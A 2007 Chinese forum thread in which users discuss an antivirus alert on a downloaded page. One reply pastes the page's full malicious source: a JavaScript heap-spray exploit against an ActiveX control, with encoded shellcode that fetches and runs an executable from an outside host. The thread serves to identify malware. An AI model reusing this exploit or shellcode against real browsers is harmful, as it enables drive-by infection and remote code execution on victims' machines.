刚上天空发现有毒！！！？

显示全部楼层 · 发表于 2007-9-12 23:03:04

天空的第一个应该是没什么问题

Starting the file scan:

Begin scan in 'C:\TDDOWNLOAD\pp.htm'
C:\TDDOWNLOAD\
  pp.htm
   [DETECTION] Contains detection pattern of the HTML script virus HTML/Shellcode.Gen
   [WARNING] The file was ignored!

显示全部楼层 · 发表于 2007-9-13 08:32:29

http://www.skycn.com/soft/32883.html
天空的网页没发现有 http://gua.ns2go.com/dir/index_pic/pp.htm

http://gua.ns2go.com/dir/index_pic/pp.htm
------------内容为:
<html>
<OBJECT type="application/x-oleobject"CLASSID="CLSID:824C08E4-08E3-8269-D233-CCF4B3B46C4E"></OBJECT>
<body><object id="ppc" classid="clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458"></object><script>var shellcode = unescape("%u00E8%u0000%u6A00%uEB03%u7E21%uE2D8%u9873%u8AFE%u8E0E%u0E4E%u55EC%u4C52%u4F4D%u004E%u3600%u2F1A%u6370%u5C3A%u2E63%u7865%u0065%u5F59%u67AF%uA164%u0030%u408B%u8B0C%u1C70%u8BAD%u0868%u8B51%u3C75%u748B%u782E%uF503%u8B56%u2076%uF503%uC933%u4149%u03AD%u33C5%u0FDB%u10BE%uF238%u0874%uCBC1%u030D%u40DA%uF1EB%u1F3B%uE775%u8B5E%u245E%uDD03%u8B66%u4B0C%u5E8B%u031C%u8BDD%u8B04%uC503%u59AB%uBCE2%u0F8B%uF980%u7463%u570A%uD0FF%uAF95%u6AAF%uEB01%u52AC%u5752%u8F8D%u10DB%u0040%uE981%u104E%u0040%u5251%uD0FF%u016A%uFF57%uEC57%u57FF%u90E8%u7468%u7074%u2f3a%u672f%u6175%u6e2e%u3273%u6f67%u632e%u6d6f%u642f%u7269%u692f%u646e%u7865%u705f%u6369%u642f%u7269%u652e%u6578");bigblock = unescape("%u9090");headersize = 20;slackspace = headersize + shellcode.length;while ( bigblock.length < slackspace ) bigblock += bigblock;fillblock = bigblock.substring(0, slackspace);block = bigblock.substring(0, bigblock.length - slackspace);while(block.length + slackspace < 0x40000) block = block + block + fillblock;memory = new Array();for (x=0; x< 400; x++) memory[x] = block + shellcode;var buffer = '\x0a';while (buffer.length < 500) buffer += '\x0a\x0a\x0a\x0a';ppc.Logo = buffer;</script></body></html>